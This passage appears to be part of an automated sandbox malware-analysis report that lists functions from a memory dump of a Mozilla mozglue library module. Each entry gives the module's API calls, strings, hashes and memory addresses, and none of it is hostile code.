Instruction ID: 2d0d7749ec4b0f4a3b56899fe5739fc1e15e586de883a981fca63b050880f0c6
Opcode Fuzzy Hash: 9a82bb2e5b28bdd7c89ec82779d74712693ef91d4f369b7498328f44ad1777b6
Instruction Fuzzy Hash: 4821A936200609EFDF10CF95DC88E8A3F76FB4A324F024219FA0492611D331E961CFA5

Function 6C5A76C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C5A76F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C5A7705

Part of subcall function 6C55CA10: malloc.MOZGLUE(?), ref: 6C55CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C5A7717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C5A778F,00000000,00000000,00000000,00000000), ref: 6C5A7731
free.MOZGLUE(00000000), ref: 6C5A7760

Strings

}>Xl, xrefs: 6C5A76C4

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>Xl
API String ID: 2538299546-2692912616
Opcode ID: 2add5b574f70d1620bf711f24c695082c8933437efaa67ae2bbfab5faa0d566a
Instruction ID: 68359c08ab582a95bd5dae02d3b07ae8b781f78802ef52a6e37d1871d49092db
Opcode Fuzzy Hash: 2add5b574f70d1620bf711f24c695082c8933437efaa67ae2bbfab5faa0d566a
Instruction Fuzzy Hash: 5511B6B2900215ABDB10AFB68C44B6FBEE8EF45354F044429F848A7300E7709D408BE2

Function 6C551FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C57AB89: EnterCriticalSection.KERNEL32(6C5CE370,?,?,?,6C5434DE,6C5CF6CC,?,?,?,?,?,?,?,6C543284), ref: 6C57AB94
Part of subcall function 6C57AB89: LeaveCriticalSection.KERNEL32(6C5CE370,?,6C5434DE,6C5CF6CC,?,?,?,?,?,?,?,6C543284,?,?,6C5656F6), ref: 6C57ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C551FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C551FFD
__Init_thread_footer.LIBCMT ref: 6C552011
FreeLibrary.KERNEL32 ref: 6C552059

Strings

combase.dll, xrefs: 6C551FD9
CoCreateInstance, xrefs: 6C551FF7

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 502638f6f9891c42d2c0bad93014107779ce551cd75016aca793041ba2291768
Instruction ID: 7e134a843b7d3c39147d585b5e5bee72b3fa7af375ed032bde216c04682775d5
Opcode Fuzzy Hash: 502638f6f9891c42d2c0bad93014107779ce551cd75016aca793041ba2291768
Instruction Fuzzy Hash: BE117C75301604EFDF20DF55CC48E9A3F79EB86365F01412EFA0482651D730AA50CBA5

Function 6C550EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C57AB89: EnterCriticalSection.KERNEL32(6C5CE370,?,?,?,6C5434DE,6C5CF6CC,?,?,?,?,?,?,?,6C543284), ref: 6C57AB94
Part of subcall function 6C57AB89: LeaveCriticalSection.KERNEL32(6C5CE370,?,6C5434DE,6C5CF6CC,?,?,?,?,?,?,?,6C543284,?,?,6C5656F6), ref: 6C57ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C57D9F0,00000000), ref: 6C550F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C550F3C
__Init_thread_footer.LIBCMT ref: 6C550F50
FreeLibrary.KERNEL32(?,6C57D9F0,00000000), ref: 6C550F86

Strings

CoInitializeEx, xrefs: 6C550F36
combase.dll, xrefs: 6C550F18

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 3cecdff52218ac5e3860e934fc2b29e16a8d44a8e6f8284fc5b97a81358f521c
Instruction ID: df2299b199d49aca0f87f8cc7685c03b7ef9ea16b48f88d670dbb44443d1f534
Opcode Fuzzy Hash: 3cecdff52218ac5e3860e934fc2b29e16a8d44a8e6f8284fc5b97a81358f521c
Instruction Fuzzy Hash: AC11C274301A409BDF00DF64CD08E5E3774EB8A32AF42432FEA0592742D731A605CA6E

Function 6C58F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C589420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C554A68), ref: 6C58945E
Part of subcall function 6C589420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C589470
Part of subcall function 6C589420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C589482
Part of subcall function 6C589420: __Init_thread_footer.LIBCMT ref: 6C58949F

GetCurrentThreadId.KERNEL32 ref: 6C58F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C58F561

Part of subcall function 6C5894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5894EE
Part of subcall function 6C5894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C589508

GetCurrentThreadId.KERNEL32 ref: 6C58F577
AcquireSRWLockExclusive.KERNEL32(6C5CF4B8), ref: 6C58F585
ReleaseSRWLockExclusive.KERNEL32(6C5CF4B8), ref: 6C58F5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6C58F499
[I %d/%d] profiler_resume, xrefs: 6C58F239
[I %d/%d] profiler_pause_sampling, xrefs: 6C58F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C58F56A

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 18bc89d4e8896a79ef9b07628ce7bc7320c23b05ca34524e0eb2ed945b735c29
Instruction ID: f37109b8028b0364e6d2bb73bd637e9df6a9c0155af86895db1fc11a955e4135
Opcode Fuzzy Hash: 18bc89d4e8896a79ef9b07628ce7bc7320c23b05ca34524e0eb2ed945b735c29
Instruction Fuzzy Hash: 20F0B4767016149BDB007BA4DC88A6A77BCFBCA65DF010119EA0683702DB794D008B69

Function 6C550E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C550DF8), ref: 6C550E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C550EA1
__Init_thread_footer.LIBCMT ref: 6C550EB5
FreeLibrary.KERNEL32 ref: 6C550EC5

Strings

kernel32.dll, xrefs: 6C550E7D
GetProcessMitigationPolicy, xrefs: 6C550E9B

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 108fa5a83be52c9801e1dbf6fd2da363452bcc1dba7bffac5bb6fe0363c167de
Instruction ID: bfbb7e7e9fe25dfb50b36406be2d6122a34cb4701e62108da9544a3ae1c34043
Opcode Fuzzy Hash: 108fa5a83be52c9801e1dbf6fd2da363452bcc1dba7bffac5bb6fe0363c167de
Instruction Fuzzy Hash: 19014B74700A81CBDF009FE8DD18A4237F5E786718F22072ED90582B40D774F6788A9A

Function 6C58F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C589420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C554A68), ref: 6C58945E
Part of subcall function 6C589420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C589470
Part of subcall function 6C589420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C589482
Part of subcall function 6C589420: __Init_thread_footer.LIBCMT ref: 6C58949F

GetCurrentThreadId.KERNEL32 ref: 6C58F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C58F598), ref: 6C58F621

Part of subcall function 6C5894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5894EE
Part of subcall function 6C5894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C589508

GetCurrentThreadId.KERNEL32 ref: 6C58F637
AcquireSRWLockExclusive.KERNEL32(6C5CF4B8,?,?,00000000,?,6C58F598), ref: 6C58F645
ReleaseSRWLockExclusive.KERNEL32(6C5CF4B8,?,?,00000000,?,6C58F598), ref: 6C58F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C58F62A

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: aa0da5c3259587cda732df9a72e05a87deb5e706e153debb5b1d87b4e9f8ac8c
Instruction ID: bdb2be3d675c791c1fe3241c40b85185c34221ce84f6b57c8cbfcd8fb85e5c8c
Opcode Fuzzy Hash: aa0da5c3259587cda732df9a72e05a87deb5e706e153debb5b1d87b4e9f8ac8c
Instruction Fuzzy Hash: 66F0B476300614ABDB007BA5CC48A5A777CFBCA26DF010119EA0683702CB7A4D018B69

Function 6C5805F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C57CFAE,?,?,?,6C5431A7), ref: 6C5805FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C57CFAE,?,?,?,6C5431A7), ref: 6C580616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C5431A7), ref: 6C58061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C5431A7), ref: 6C580627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C58061B, 6C580625
<jemalloc>, xrefs: 6C5805FA, 6C58060F

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 2acc88671331c66a1d2af54281469f64d31d9d2acd8dd0f7d5693bbd82c80e01
Instruction ID: d25cd990a24285a67de1177c9f79baa79671655558de19eff0bbcfa5177d24b9
Opcode Fuzzy Hash: 2acc88671331c66a1d2af54281469f64d31d9d2acd8dd0f7d5693bbd82c80e01
Instruction Fuzzy Hash: 4DE08CE2A0101037F514225AAC86DBB7A1CDBC6134F080039FD0D92301EA5ABD1A51FA

Function 6C5505F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 273a1f95f2f66ad7da4feaf661d7e71e10b05652eae01fe1b88599bb13cdbba4
Instruction ID: 92c64aca4b39b1252ba66f8e9a895beb64880a6742e188b487b29b31626d2afd
Opcode Fuzzy Hash: 273a1f95f2f66ad7da4feaf661d7e71e10b05652eae01fe1b88599bb13cdbba4
Instruction Fuzzy Hash: EFA14BB0A01645CFDB14CF29C994A99FBF1BF89308F44866ED44A97B40E730AA55CF90

Function 6C5A14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5A14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5A14E2
GetCurrentThreadId.KERNEL32 ref: 6C5A1546
InitializeConditionVariable.KERNEL32(?), ref: 6C5A15BA
free.MOZGLUE(?), ref: 6C5A16B4

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: f106db10bc7acd6a7d6349e20bfa73ea9a589bf2f6cee824ce3b6d8fc1660b5f
Instruction ID: ece1068e832eba5722514fe6fd1d9ceeb5c29b55693ceb0973f4e988450a1461
Opcode Fuzzy Hash: f106db10bc7acd6a7d6349e20bfa73ea9a589bf2f6cee824ce3b6d8fc1660b5f
Instruction Fuzzy Hash: 9761DD72A00740DBDB119F65CC80BDFB7B4BF89308F45851DE98A57612EB30E989CB91

Function 6C599F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C599FDB
free.MOZGLUE(?,?), ref: 6C599FF0
free.MOZGLUE(?,?), ref: 6C59A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C59A0BE
free.MOZGLUE(?,?), ref: 6C59A0D5
free.MOZGLUE(?,?), ref: 6C59A0EB

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: fa935f07ad35a907de00c5e339640dcf8361a52e0a7a91e2522d9e57bb0bf51f
Instruction ID: b36e05b230b6ca3391115063ae4902323e3c7f6d37f31230f1a374a58f938210
Opcode Fuzzy Hash: fa935f07ad35a907de00c5e339640dcf8361a52e0a7a91e2522d9e57bb0bf51f
Instruction Fuzzy Hash: 7A618075908641DFC711CF19C88059AB3F5FFC8328F548699E8999BB02EB31E986CBD1

Function 6C59DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C59DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C59D38A,?), ref: 6C59DC6F
free.MOZGLUE(?,?,?,?,?,6C59D38A,?), ref: 6C59DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C59D38A,?), ref: 6C59DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C59D38A,?), ref: 6C59DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C59D38A,?), ref: 6C59DD4A

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: f45d215fa758490945ec2d456c63d1f4d8db9a8945186b04629333cdace64883
Instruction ID: 10be237fbbcad825ba9f76c93e91436e209f24302a94983b4c8553358cce8c54
Opcode Fuzzy Hash: f45d215fa758490945ec2d456c63d1f4d8db9a8945186b04629333cdace64883
Instruction Fuzzy Hash: 7E4149B5A00615CFCB00CFA9CC84A9ABBF6FF89318B5545A9D945ABB21D771FC10CB90

Function 6C59C810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C59C82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C59C842

Part of subcall function 6C59CAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C5BB5EB,00000000), ref: 6C59CB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C59C863
std::_Facet_Register.LIBCPMT ref: 6C59C875

Part of subcall function 6C57B13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C5BB636,?), ref: 6C57B143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C59C89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C59C8BC

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: 51b7d52a2538b37296834d910ad8693513ca5f4cad978dab75bb9adef332ab48
Instruction ID: 28c0f445d37ae05781a3ae88a97f9db976390f8bd6784c02c7761dae60a4e0f3
Opcode Fuzzy Hash: 51b7d52a2538b37296834d910ad8693513ca5f4cad978dab75bb9adef332ab48
Instruction Fuzzy Hash: F3118675B006059BCF00EFA4CC999AEBB75EF89355F01016DE60697341DB30AE49CBE9

Function 6C57F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C57F480

Part of subcall function 6C54F100: LoadLibraryW.KERNEL32(shell32,?,6C5BD020), ref: 6C54F122
Part of subcall function 6C54F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C54F132

CloseHandle.KERNEL32(00000000), ref: 6C57F555

Part of subcall function 6C5514B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C551248,6C551248,?), ref: 6C5514C9
Part of subcall function 6C5514B0: memcpy.VCRUNTIME140(?,6C551248,00000000,?,6C551248,?), ref: 6C5514EF

Part of subcall function 6C54EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C54EEE3

CreateFileW.KERNEL32 ref: 6C57F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C57F523

Strings

\oleacc.dll, xrefs: 6C57F4CB

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: eeee7482bf894c22945428e34c3987e888bf773ddb0839e60e95bdbf3dfdad2d
Instruction ID: c82c549287ac50133c218c10cf74ecaa31a16f49d46bc4eb59c8a8ad54f66654
Opcode Fuzzy Hash: eeee7482bf894c22945428e34c3987e888bf773ddb0839e60e95bdbf3dfdad2d
Instruction Fuzzy Hash: 57418D306087109FE720DF69CC84A9AB7F4AF84318F504B1CE59597651EB70DA89CBA2

Function 6C58E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C589420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C554A68), ref: 6C58945E
Part of subcall function 6C589420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C589470
Part of subcall function 6C589420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C589482
Part of subcall function 6C589420: __Init_thread_footer.LIBCMT ref: 6C58949F

GetCurrentThreadId.KERNEL32 ref: 6C58E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C58E04F

Part of subcall function 6C5894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5894EE
Part of subcall function 6C5894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C589508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C58E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C58E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6C58E057

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: 1a2e8cb9cf27ddba3ff9850d5ea8f42ac157cb57ba38022f73d0dde1cb0f4522
Instruction ID: 461669bf073da023bc826956a2014bf81320c64fc4906b3280ddbb1c39dd6e7c
